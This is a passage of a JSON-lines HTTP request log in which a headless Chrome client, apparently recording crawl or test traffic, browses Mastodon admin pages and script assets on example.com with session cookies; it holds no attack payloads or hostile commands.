_mastodon_session=2ADdSofy1HIJOkaQYz2Cl7dzVcFAkWzm3cHp9QAoi%2F%2F%2B9P%2Be7nFUm0OZuZFiTrImoApvI6g7xdE6nTdxWT7%2BeAKgA%2BeitPaop1nGT2hDSUdtagj0j%2FpLH18ySaLcSGRXOxgSoAT%2FzCLUgv9n5IEZ4a6o%2Be8iVGrQ5TREP9GZiGDFZ7J7n1DBTNduUB5vtpHiatA6uQ5eT6GBYW1OFq5cZ7Bd6aKfrx%2B5SoEQ3M%2F%2B%2FLWkj8enjDG4Cpk09XPENyGSV83IsoTphnjuK0VbOFE4CJ2%2Bdd%2BKdPhVGde%2Bp0o%2BMz2GQ3bkQgurZuaO0PGzOp%2BEdQAUIXo6ui2f9Pvmf3R5b2RCn4hU51h0tw2TpPbAZUISYixRuPZ%2BoJ0TGO4m%2BdyJ7hrSfbTT%2BZUh--b6IyTX1QZVYMllHq--Ly4ZAZAWf8I5kahy7IALdA%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDcuMDk2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--86b084613ac132781b44303783eaa7301e7b20d8; _mastodon_session=F3ZYT%2BRSEL%2BSI6b8TyxkZknCePdBmJUKk%2Fv80NTQmR2XBT%2BcVwbPFnjDXIcnA5CBLXDbYNAUaZfBSYKte39SkKnGQGZUalS9iQnUU0j4PhGPhiLThmj%2Fnr1pZVilzV4iTXkiHnjlQ7aJWi1jr%2BWC7jsjaU%2Fuc0Uc4licwQoHYliZso4m5DPmXy9a1Jl7X33CrFVqI7Up%2BbdWSiQ1WK13ZpEsWlQ40h80X59bnlAkFEWnu%2BOqZ0OrWzCGGIAIXwQwNU2InHvdqKkFUTwUlXs6ozoe6R2PLMqhM0H2mzfmjmxHYNSU9X5%2FViy57BcBhxEZu69TjCKbXYyDeJqwK7daZe3aNuwB9kEj2EV6mKM064FF32S%2FE%2Fr6DQ48qutUH59YtMYahpr3rjxX--2kufuOWh92yTTykp--FA9erEuFBkcLi4XwjQvveQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/preload-helper-HclGiUj8.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/tags", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDkuOTIxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--02fd1120fad0c0d6068175ab96f5c42cb80999e0; _mastodon_session=fdmBJUzDykZ9vuxDaKs6CtpGzmM19KdW0sGqKgkU93OM%2F2XguQRvNiIkoLmzMTAVW8l7TG%2Bu5t30HLyIWv%2FTb6d89RZYO4%2FR97VquoMBPeOy92Y3U0apd3ToRB2AP1fkrZ0omKCOoCfv%2BmWQ1Hw2SfQj6%2Fb38Xj3ETl06m1AqPkcPi6Psj4N6XE29N%2BkE5vYWcQaOvYhSlSBFUT5Wu8J4oC7lAmrqQMVHzQ0JUFnFgvn04NUY3kdGeA2gBApgnSmrkm0rnVoKTOIS1ilHXh%2FwCqsU85ktEyNZe5M3rSZGPb9Pr57tjJPKjBY0K46fK2P6HLdM0jsUfpGLtSK5I0koNoxMNCVBdnJMtCbMUJ7wlvokFqMRZwn7PTwk87ap0yAQl117MhUGpSX--myBsRu193ek%2B4Iyt--T2NQcxyk%2B8XFFQN%2BPx45PQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/tags?name=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDkuOTIxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--02fd1120fad0c0d6068175ab96f5c42cb80999e0; _mastodon_session=fdmBJUzDykZ9vuxDaKs6CtpGzmM19KdW0sGqKgkU93OM%2F2XguQRvNiIkoLmzMTAVW8l7TG%2Bu5t30HLyIWv%2FTb6d89RZYO4%2FR97VquoMBPeOy92Y3U0apd3ToRB2AP1fkrZ0omKCOoCfv%2BmWQ1Hw2SfQj6%2Fb38Xj3ETl06m1AqPkcPi6Psj4N6XE29N%2BkE5vYWcQaOvYhSlSBFUT5Wu8J4oC7lAmrqQMVHzQ0JUFnFgvn04NUY3kdGeA2gBApgnSmrkm0rnVoKTOIS1ilHXh%2FwCqsU85ktEyNZe5M3rSZGPb9Pr57tjJPKjBY0K46fK2P6HLdM0jsUfpGLtSK5I0koNoxMNCVBdnJMtCbMUJ7wlvokFqMRZwn7PTwk87ap0yAQl117MhUGpSX--myBsRu193ek%2B4Iyt--T2NQcxyk%2B8XFFQN%2BPx45PQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/react-dom-BddMPX6d.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/tags?name=python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTIuNzY1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d6f4dbca96ee5e129689b201e87ebe6fa58ea140; _mastodon_session=NFnChyhDFry4INEz%2BWzfqgy74NH%2F6PpNmL%2BMgG9Jei8Yywiuu7Etl7dLj7TdUj%2BZFfEQsH5FQE2ZRnXa9idN8uIFcrYC82%2BsWuFzIhtJUPPmlPah7DDgudK%2B9sTze5KY1BI2ROEuZS9b7C2z86SQxfQYoLNrJSBQFl0S98ZGVD92ocpqtvzgaWMoRi%2B9GZ87%2FOttt4ERZT5hW%2BZMhGwv0PcYjaRnRd%2F0Eob0UgQtxnFvWzZ4cbaE2g4xK3Ysh5LDuGiYcHwR9zZ5UhBKDbDVrhpqwp057DB67F4juDotAW76%2Bdmm6WAewfc3rphZFy0IV91aCUGjuhVNQg%2Fr9nLpy%2FJpliYlxgrFdUo8Q5iv6tJheF6UKJwsQfJhWy3JAQvcFG1jOYDrMpXm--oBX%2FQWjRY4CY6sWS--oz7REDrmHuSsV%2FO5TwowzQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/action_logs", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTIuNzY1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d6f4dbca96ee5e129689b201e87ebe6fa58ea140; _mastodon_session=NFnChyhDFry4INEz%2BWzfqgy74NH%2F6PpNmL%2BMgG9Jei8Yywiuu7Etl7dLj7TdUj%2BZFfEQsH5FQE2ZRnXa9idN8uIFcrYC82%2BsWuFzIhtJUPPmlPah7DDgudK%2B9sTze5KY1BI2ROEuZS9b7C2z86SQxfQYoLNrJSBQFl0S98ZGVD92ocpqtvzgaWMoRi%2B9GZ87%2FOttt4ERZT5hW%2BZMhGwv0PcYjaRnRd%2F0Eob0UgQtxnFvWzZ4cbaE2g4xK3Ysh5LDuGiYcHwR9zZ5UhBKDbDVrhpqwp057DB67F4juDotAW76%2Bdmm6WAewfc3rphZFy0IV91aCUGjuhVNQg%2Fr9nLpy%2FJpliYlxgrFdUo8Q5iv6tJheF6UKJwsQfJhWy3JAQvcFG1jOYDrMpXm--oBX%2FQWjRY4CY6sWS--oz7REDrmHuSsV%2FO5TwowzQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/jsx-runtime-BdxMnOeJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/action_logs", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTUuNjAzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3096f08c146fa14302ad2d672a0570934c5a129f; _mastodon_session=uKF7zTl%2BRavFBrha1TLOuxxq4jSA%2BQYTUkrT8h2VHA0XZa4NxW44ltvVQ0M5MAG3%2FX9CzsdCu9GOiuTyt12GKar57FANN3cxuv3W4WrpXF89gVU%2FsE8WrqzPq3DLp0SrkbIXzaQYtaVPOgUGYBu%2FEu1IEZeyXeze7fOOPIMrog82PEPVI4myCLWUJ%2FG3DIfQb05LFJ%2F19RHPoPL4wnTYw1Pm65wUiZCdEGaVGfLbgTBjghwLkIGLi8STyXorRnP98eqICI7qem%2BuXnN5trEZHS5QxRlx48vC79ZuLqkSyKIoxekZA3hv4jxvhsTbzxRyJzH2Dk4gsCfK3F9O07PfBLq3ih8HOQ5AzaUFli89I%2BAgQxALf0ETdcqLlY0Za7qOyPYLH5UVnY4l--Bxly6YlXZCndBwbw--6hTumwCewXjEZ%2BxkhTVSPQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/roles", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTUuNjAzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3096f08c146fa14302ad2d672a0570934c5a129f; _mastodon_session=uKF7zTl%2BRavFBrha1TLOuxxq4jSA%2BQYTUkrT8h2VHA0XZa4NxW44ltvVQ0M5MAG3%2FX9CzsdCu9GOiuTyt12GKar57FANN3cxuv3W4WrpXF89gVU%2FsE8WrqzPq3DLp0SrkbIXzaQYtaVPOgUGYBu%2FEu1IEZeyXeze7fOOPIMrog82PEPVI4myCLWUJ%2FG3DIfQb05LFJ%2F19RHPoPL4wnTYw1Pm65wUiZCdEGaVGfLbgTBjghwLkIGLi8STyXorRnP98eqICI7qem%2BuXnN5trEZHS5QxRlx48vC79ZuLqkSyKIoxekZA3hv4jxvhsTbzxRyJzH2Dk4gsCfK3F9O07PfBLq3ih8HOQ5AzaUFli89I%2BAgQxALf0ETdcqLlY0Za7qOyPYLH5UVnY4l--Bxly6YlXZCndBwbw--6hTumwCewXjEZ%2BxkhTVSPQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/rolldown-runtime-C0FnF6B9.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/roles", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTguNDUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3b0d4a3f025887f1aee8546fd4b03aac80ec0fb0; _mastodon_session=0mYjZ0Q1w0I%2FhAP%2Bkou1EGd%2FYO6o%2Bvu2YUGMGkANZcM%2FAn5WUyHAPNzVFgEAJ8TOMnsmiTM2cpNd5biXdKNi69xi9A4tEK2SWFNNu1CYUwyySWa08as6wf2h5QIwZSU2Xj0EpvuFWHSs9zyCzO2xjTd2sy%2BO%2Fbc1I1d7bfLnUdpQeNl1QUtFKXvTt9U5FVVm%2FZpKMdJMJsCRsMQ2b2od6N%2Bsx9ECMMuVcpfS1p0%2F4FEvxodIXn6sPPC36k%2F3q%2BkWQ9ITDtK5XtK49Y%2BLIRsX9i2Qx6QeHb8w9lWuhftBZ0Ijgr%2Bgs20WIBsXSw7hXy3yL5XtY2xxAlVlshh73xXZEwPUORUlnuLdrakRkyiqpA1f8vP1D7t5ZmRZ5qifyFPZyAipn8ohLO9H--%2BMPGVez4RuDHe0VA--qiiWjVWtwy7wY9An21xtZA%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/relays", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTguNDUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3b0d4a3f025887f1aee8546fd4b03aac80ec0fb0; _mastodon_session=0mYjZ0Q1w0I%2FhAP%2Bkou1EGd%2FYO6o%2Bvu2YUGMGkANZcM%2FAn5WUyHAPNzVFgEAJ8TOMnsmiTM2cpNd5biXdKNi69xi9A4tEK2SWFNNu1CYUwyySWa08as6wf2h5QIwZSU2Xj0EpvuFWHSs9zyCzO2xjTd2sy%2BO%2Fbc1I1d7bfLnUdpQeNl1QUtFKXvTt9U5FVVm%2FZpKMdJMJsCRsMQ2b2od6N%2Bsx9ECMMuVcpfS1p0%2F4FEvxodIXn6sPPC36k%2F3q%2BkWQ9ITDtK5XtK49Y%2BLIRsX9i2Qx6QeHb8w9lWuhftBZ0Ijgr%2Bgs20WIBsXSw7hXy3yL5XtY2xxAlVlshh73xXZEwPUORUlnuLdrakRkyiqpA1f8vP1D7t5ZmRZ5qifyFPZyAipn8ohLO9H--%2BMPGVez4RuDHe0VA--qiiWjVWtwy7wY9An21xtZA%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/trends/links", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MjEuMzAyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--75b887123f8ced2df29248bfec8210db9b331ac5; _mastodon_session=MgE9xic9QrMILUPJLNaFKQaCzh%2FXM7mSzLCCOMgHXU1S9U6bpRt5%2FxAUT56ZUqT1FvXMyhStYY5sIU%2FFDkgZnDfWR01oo%2BmIrWXSgseILohuofPSNs9osfSP6OR0ptZUElBgJBJik4WwnH8%2B%2BfDZ6AcvVCYcvdTkpnnfkmu%2FZvbIwgmUFG2O5z0WVd01W1ZKxOH6ktSDqtW2zsPTkzXrs7NZP%2FC5GSzV8hcDMkjQW8WfbxP6RIHZjp3AWZARmhaA7BFoPrx%2FOtNRu3e0W2XsvBACzezwTnZXSfy4ywepSS2pRsUEC5%2BIe%2BiJneW31rA2ScY26wO64gDshDqmLZiB2XPqkXHMoB7%2B5estpGV3tNwPFgAjbk8%2FS3SCGFY62xX9nWyh9a9XAAti--JH5NWlBAZuMsIPN6--Dr8q%2BWbJzAqOibX2y8ZD%2Fg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/rolldown-runtime-C0FnF6B9.js", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
{"method": "GET", "target": "/admin/trends/tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MjQuMTQ4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--07fd423afff187fdfaef441d6fb5e5063c0769fe; _mastodon_session=fOt%2Bvw5wckLINZ%2BiFoKVC3Pc5NQtJoQMiztNGDBKbpjP0cS8ClRov4aJ%2Fs4EWv%2FsqqitYD8VOYrbqWa3%2FgRg0Y7mJJ7kThynjptXYJC8fadmwNyYcM9EXcILq6fReMy6AguzI5A%2BxIfl44cegjE7ehdsp0OWorblq54xYrzKPeWsoolE0zjT8Xc3YE4F7iKXb303ZaRB2IuFG8FYnRQGNxU07SaPa%2FpaiHePas6lAAQ5vFz77qupC8GW5Fo2zyx3KmO3HlCiYVOnSwmXU0ztMdM9VP%2BBD%2B2x33c%2ByWuoS2x8WL03c5UbWjf00DbgMh8gEFRPqE7X1fKp%2BMGgSTCq67qauzZgRJIIWPqg3CrHd9WncejhoXgDZgfJ%2FMGqMl5TzGVz1Ma2QmuH--cMc5eZDENJa7lBPE--qpkQljJquN4ebr%2FhU2Kdfg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/jsx-runtime-BdxMnOeJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
{"method": "GET", "target": "/admin/trends/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MjcuMTI2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7c414d34ab8f634fc3192b5a84c7221c62c663db; _mastodon_session=7hzC9L9AUI7XiLeJnXP7VGOD0X2TrDotL%2B3NW%2Fgipkd7wfDl%2BCeVId3oO1kPWIjatqoFSXYAG1hjv2qXf5K6mP3EUiPMpYNy85xqRgkvv5Z4R9QoNe8q2hgk0Y6Il%2B8sPJjeA0kTjorAOB1txr1XkEZqk%2BUoBpXu4YG6kUTrPjzit601Ch3fCVsbbwqzbnk6y7cZzRFCBbhx6WUsquxxjVDEmAK0zgpcHHYrJnaFqu%2B%2FBn3OjwwCNaUT3YKtfwzrD%2Bl%2BFTJZJJ1xqvxumufal0PPjuF1gX0za9VlwFSebytUjfAAkTi489T7GIe4X%2FZ4bz8hA%2BVeAoqEepowztbECkdyKG8waBjO%2B1wvmDQILJgtAHqyfboWGLLGn1ZljVsyT7R9j1N6%2FDWC--C%2BQObkmZly3IQkxH--ZEQPNb7YTEi%2Ft0hnqQv%2BYA%3D%3D"], "body": ""}
{"method": "GET", "target": "/sw.js", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept: */*", "Service-Worker: script", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
{"method": "GET", "target": "/admin/follow_recommendations", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzAuMTEwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--656662cf53f572d26bdb0f308595dc85fd3a602a; 